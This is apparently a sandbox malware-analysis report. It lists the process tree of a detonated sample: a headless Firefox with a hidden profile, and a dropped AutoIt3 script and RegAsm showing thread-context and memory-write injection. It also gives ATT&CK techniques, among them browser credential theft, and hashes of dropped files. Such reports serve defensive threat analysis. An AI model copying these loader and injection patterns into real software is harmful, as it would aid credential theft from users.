    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3112,i,5126268355266807620,4821218224502195206,2097152 --field-trial-handle=1908,i,10403526261158467514,7874290407326141519,262144 --variations-seed-version --mojo-platform-channel-handle=3116 /prefetch:1
    3⤵
    PID:2560
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4428,i,14942571337741861069,16155649149010783414,2097152 --field-trial-handle=1908,i,10403526261158467514,7874290407326141519,262144 --variations-seed-version --mojo-platform-channel-handle=4452 /prefetch:1
    3⤵
    PID:4328
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4672,i,13697650445375333728,11802652750556898874,524288 --field-trial-handle=1908,i,10403526261158467514,7874290407326141519,262144 --variations-seed-version --mojo-platform-channel-handle=4664 /prefetch:14
    3⤵
    PID:1380
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5212,i,3486393757952369217,1579915725968078254,524288 --field-trial-handle=1908,i,10403526261158467514,7874290407326141519,262144 --variations-seed-version --mojo-platform-channel-handle=5236 /prefetch:14
    3⤵
    PID:5380
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5280,i,14723091762391794991,16086680745267411342,2097152 --field-trial-handle=1908,i,10403526261158467514,7874290407326141519,262144 --variations-seed-version --mojo-platform-channel-handle=5288 /prefetch:1
    3⤵
    PID:3240
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5324,i,16765146899278948495,8125211009406046783,2097152 --field-trial-handle=1908,i,10403526261158467514,7874290407326141519,262144 --variations-seed-version --mojo-platform-channel-handle=5320 /prefetch:1
    3⤵
    PID:6044
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5604,i,11965754862387505058,7937718439672382217,2097152 --field-trial-handle=1908,i,10403526261158467514,7874290407326141519,262144 --variations-seed-version --mojo-platform-channel-handle=5476 /prefetch:1
    3⤵
    PID:2120
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5624,i,13822862996396230644,701226414954455347,2097152 --field-trial-handle=1908,i,10403526261158467514,7874290407326141519,262144 --variations-seed-version --mojo-platform-channel-handle=5364 /prefetch:1
    3⤵
    PID:4700
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5884,i,1699046547937688505,2351352381074143304,2097152 --field-trial-handle=1908,i,10403526261158467514,7874290407326141519,262144 --variations-seed-version --mojo-platform-channel-handle=5864 /prefetch:1
    3⤵
    PID:5540
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5868,i,3393950194773919252,11370845004132570608,524288 --field-trial-handle=1908,i,10403526261158467514,7874290407326141519,262144 --variations-seed-version --mojo-platform-channel-handle=5600 /prefetch:14
    3⤵
    PID:5388
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5860,i,619248426176358926,9604413222886386688,2097152 --field-trial-handle=1908,i,10403526261158467514,7874290407326141519,262144 --variations-seed-version --mojo-platform-channel-handle=5352 /prefetch:1
    3⤵
    PID:4312
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5576,i,618966812917380216,15798854737831561811,2097152 --field-trial-handle=1908,i,10403526261158467514,7874290407326141519,262144 --variations-seed-version --mojo-platform-channel-handle=5860 /prefetch:1
    3⤵
    PID:1340
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5344,i,2375919422113387409,3228103539436861716,2097152 --field-trial-handle=1908,i,10403526261158467514,7874290407326141519,262144 --variations-seed-version --mojo-platform-channel-handle=5736 /prefetch:1
    3⤵
    PID:5596
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5232,i,6354521411469345648,13697781938715500093,524288 --field-trial-handle=1908,i,10403526261158467514,7874290407326141519,262144 --variations-seed-version --mojo-platform-channel-handle=5212 /prefetch:14
    3⤵
    PID:4324
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5260,i,12536937914692816884,5997545604522586521,524288 --field-trial-handle=1908,i,10403526261158467514,7874290407326141519,262144 --variations-seed-version --mojo-platform-channel-handle=5264 /prefetch:14
    3⤵
    PID:1864
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5244,i,1502803675715883562,628362302222601291,2097152 --field-trial-handle=1908,i,10403526261158467514,7874290407326141519,262144 --variations-seed-version --mojo-platform-channel-handle=5696 /prefetch:1
    3⤵
    PID:4576
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=4540,i,4350344012156603789,18188798468386749082,2097152 --field-trial-handle=1908,i,10403526261158467514,7874290407326141519,262144 --variations-seed-version --mojo-platform-channel-handle=4520 /prefetch:9
    3⤵
    PID:4940
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:5068
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x360,0x7ffa2d7ec188,0x7ffa2d7ec194,0x7ffa2d7ec1a0
    3⤵
    PID:2396
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1704,i,14464456970560008512,8629888664168020608,262144 --field-trial-handle=2344,i,4838291796197398772,1763227851693013485,262144 --variations-seed-version --mojo-platform-channel-handle=2340 /prefetch:2
    3⤵
    PID:5084
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1904,i,17383053104084548453,11122720854272971881,524288 --field-trial-handle=2344,i,4838291796197398772,1763227851693013485,262144 --variations-seed-version --mojo-platform-channel-handle=2300 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5916
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2376,i,8286532045726666238,3779102015478852516,524288 --field-trial-handle=2344,i,4838291796197398772,1763227851693013485,262144 --variations-seed-version --mojo-platform-channel-handle=2792 /prefetch:13
    3⤵
    PID:5128
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3612,i,1494394902929764426,9932379849146200640,2097152 --field-trial-handle=2344,i,4838291796197398772,1763227851693013485,262144 --variations-seed-version --mojo-platform-channel-handle=3632 /prefetch:1
    3⤵
    PID:2188
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3628,i,12949377700645433777,17933371821335032290,2097152 --field-trial-handle=2344,i,4838291796197398772,1763227851693013485,262144 --variations-seed-version --mojo-platform-channel-handle=3648 /prefetch:1
    3⤵
    PID:1904
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4252,i,15013246602987162524,8921107107234087004,2097152 --field-trial-handle=2344,i,4838291796197398772,1763227851693013485,262144 --variations-seed-version --mojo-platform-channel-handle=4612 /prefetch:1
    3⤵
    PID:3660
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4328,i,16993879138914832497,17025477788733954145,2097152 --field-trial-handle=2344,i,4838291796197398772,1763227851693013485,262144 --variations-seed-version --mojo-platform-channel-handle=4804 /prefetch:9
    3⤵
    PID:5312
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5256,i,16796655447846339195,13486095663337782198,524288 --field-trial-handle=2344,i,4838291796197398772,1763227851693013485,262144 --variations-seed-version --mojo-platform-channel-handle=5284 /prefetch:14
    3⤵
    PID:1824
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5452,i,8551226177557788909,8558776970826963702,524288 --field-trial-handle=2344,i,4838291796197398772,1763227851693013485,262144 --variations-seed-version --mojo-platform-channel-handle=5436 /prefetch:14
    3⤵
    PID:2548
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5448,i,18232430906741300441,16673036523679139696,524288 --field-trial-handle=2344,i,4838291796197398772,1763227851693013485,262144 --variations-seed-version --mojo-platform-channel-handle=5476 /prefetch:14
    3⤵
    PID:6104
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5184,i,6980813154435269850,11208796304748693141,524288 --field-trial-handle=2344,i,4838291796197398772,1763227851693013485,262144 --variations-seed-version --mojo-platform-channel-handle=5332 /prefetch:14
    3⤵
    PID:3128
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5184,i,6980813154435269850,11208796304748693141,524288 --field-trial-handle=2344,i,4838291796197398772,1763227851693013485,262144 --variations-seed-version --mojo-platform-channel-handle=5332 /prefetch:14
    3⤵
    PID:4704
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6612,i,10346501001805465937,10096582340599921928,524288 --field-trial-handle=2344,i,4838291796197398772,1763227851693013485,262144 --variations-seed-version --mojo-platform-channel-handle=6628 /prefetch:14
    3⤵
    PID:4588
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6760,i,5698502173045060330,3108137055655312916,524288 --field-trial-handle=2344,i,4838291796197398772,1763227851693013485,262144 --variations-seed-version --mojo-platform-channel-handle=6696 /prefetch:14
    3⤵
    PID:5520
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile "C:\Users\Public\.ff_tmp"
  2⤵
  PID:3156
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile C:\Users\Public\.ff_tmp
    3⤵
    - Checks processor information in registry
    - Suspicious use of FindShellTrayWindow
    PID:4940
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2636 -prefsLen 24445 -prefMapHandle 2640 -prefMapSize 268500 -ipcHandle 2704 -initialChannelId {6afefeb7-3e9b-4434-ab53-57e161871399} -parentPid 4940 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4940" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 socket
      4⤵
      PID:3788
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3536 -prefsLen 24657 -prefMapHandle 3540 -prefMapSize 268500 -jsInitHandle 3544 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3552 -initialChannelId {ceb3a6dd-324f-42e5-b2ef-fb49b8f4db15} -parentPid 4940 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4940" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 tab
      4⤵
      Checks processor information in registry
      PID:2836
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3748 -prefsLen 25541 -prefMapHandle 3752 -prefMapSize 268500 -ipcHandle 3820 -initialChannelId {91d6d1fe-7c0f-4e4d-b352-52dccfab2a24} -parentPid 4940 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4940" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 rdd
      4⤵
      PID:2440
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1752 -prefsLen 25604 -prefMapHandle 1792 -prefMapSize 268500 -jsInitHandle 1796 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4188 -initialChannelId {2736734b-a90d-49cf-9d99-aeb1130cfa70} -parentPid 4940 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4940" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 tab
      4⤵
      Checks processor information in registry
      PID:2976
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4120 -prefsLen 36486 -prefMapHandle 1788 -prefMapSize 268500 -ipcHandle 4092 -initialChannelId {47156fe4-8a32-409b-9f8b-b259f6602fbe} -parentPid 4940 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4940" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 utility
      4⤵
      Checks processor information in registry
      PID:5564
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5048 -prefsLen 34446 -prefMapHandle 5052 -prefMapSize 268500 -jsInitHandle 5056 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5064 -initialChannelId {ffc13c3f-5092-4554-9887-09a73758b41e} -parentPid 4940 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4940" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
      4⤵
      Checks processor information in registry
      PID:1532
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5212 -prefsLen 34446 -prefMapHandle 5108 -prefMapSize 268500 -jsInitHandle 5124 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5048 -initialChannelId {3ddc54e7-3398-47b8-b0b4-009b3088f96c} -parentPid 4940 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4940" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
      4⤵
      Checks processor information in registry
      PID:2540
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4388 -prefsLen 34446 -prefMapHandle 5404 -prefMapSize 268500 -jsInitHandle 5400 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5040 -initialChannelId {97a0ebff-e4bd-4d9f-bbfb-5fe5aede4e0f} -parentPid 4940 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4940" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
      4⤵
      Checks processor information in registry
      PID:5376

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3048

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:2924

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4900

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:2560

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:3140

C:\Users\Admin\AppData\Roaming\bfa79963dd84\AutoIt3.exe
"C:\Users\Admin\AppData\Roaming\bfa79963dd84\AutoIt3.exe" "C:\Users\Admin\AppData\Roaming\bfa79963dd84\Fabrics.a3x"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3592
- C:\Users\Admin\AppData\Roaming\bfa79963dd84\RegAsm.exe
  C:\Users\Admin\AppData\Roaming\bfa79963dd84\RegAsm.exe
  2⤵
  - Executes dropped EXE
  PID:4688

C:\Users\Admin\AppData\Roaming\bfa79963dd84\AutoIt3.exe
"C:\Users\Admin\AppData\Roaming\bfa79963dd84\AutoIt3.exe" "C:\Users\Admin\AppData\Roaming\bfa79963dd84\Fabrics.a3x"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:6056
- C:\Users\Admin\AppData\Roaming\bfa79963dd84\RegAsm.exe
  C:\Users\Admin\AppData\Roaming\bfa79963dd84\RegAsm.exe
  2⤵
  - Executes dropped EXE
  PID:4508

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

update-config.json

Path C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\update-config.json
Size 102B
SHA256 ffad3b0fb11fc38ea243bf3f73e27a6034860709b39bf251ef3eca53d4c3afda
MD5 7d1d7e1db5d8d862de24415d9ec9aca4
SHA1 f4cdc5511c299005e775dc602e611b9c67a97c78
SHA512 1688c6725a3607c7b80dfcd6a8bea787f31c21e3368b31cb84635b727675f426b969899a378bd960bd3f27866023163b5460e7c681ae1fcb62f7829b03456477
TLSH
T12BB012800100B658F0FC4CCC05303B3E0248402D44CF3903004D30A0787B0020A094FE
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

craw_background.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
Size 531KB
SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
MD5 6eebed29e6a6301e92a9b8b347807f5f
SHA1 65dfb69b650560551110b33dcba50b25e5b876de
SHA512 fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2
SSDEEP 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
TLSH
T1B5C4F74C34C2E8CD6A623DA5247B9085A2319266F4479ED9F0EDECF21AF44641937F3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
